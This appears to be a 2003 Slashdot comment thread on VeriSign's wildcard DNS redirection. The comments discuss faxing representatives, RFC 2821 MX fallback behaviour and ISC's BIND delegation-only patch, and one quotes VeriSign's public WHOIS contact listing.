And it depends on the content as well as the medium. My fax was original, business-like, and carefully-argued, though partly based on stuff available online. I suspect that originality, literacy, clarity, conciseness, and focus all count well, just as obvious copying, rambling, pointless emotion, length, and lack of focus will make a communication less likely to be read or acted upon. You need to state carefully but briefly the problem, the cause, what you're asking your representative to do, and why; if you do that politely, it'd be an inconsiderate person who didn't at least reply, whatever the medium.

I suspect that the reason online petitions often don't seem to count is less that they're online, and more that they're petitions; without a direct, personal request for action, any communication will have less weight.

--

Ceterum censeo subscriptionem esse delendam.

Re:None - they are not forging MX records by AndrewRUK · 2003-09-17 12:57 · Score: 2, Informative

Except that, if a domain name has no MX, the A record is used instead.
Quoteth chapter & verse (RFC 2821, section 5):
"If no MX records are found, but an A RR is found, the A RR is treated as if it was associated with an implicit MX RR, with a preference of 0, pointing to that host."
So, any mail to a non-existant domain will be (attempted to) be delivered to 64.94.110.10, which helpfully has "Snubby Mail Rejector Daemon" running on port 25.

BIND patch by Dasigner · 2003-09-17 13:48 · Score: 2, Informative

Check it out...

BIND delegation-only patch:

In response to high demand from our users, ISC is releasing a patch for BIND to support the declaration of "delegation-only" zones ... This can be used to filter out "wildcard" or "synthesized" data from NAT boxes or from authoritative name servers whose undelegated (in-zone) data is of no interest.

verisign-grs contact info by HardCase · 2003-09-17 14:55 · Score: 2, Funny

From the verisign-grs.com WHOIS:

Administrative Contract:
VERISIGN GLOBAL REGISTRY SERVICES rcc@verisign.com
21345 Ridgetop Circle
Dulles, VA 20166
US
703-742-0400 fax: 703-421-6703

Dunno how correct it is...god forbid that Verisign should put incorrect info in the whois database.

Slashdot Mirror

Verisign Typosquatter Explorer

69 of 367 comments (clear)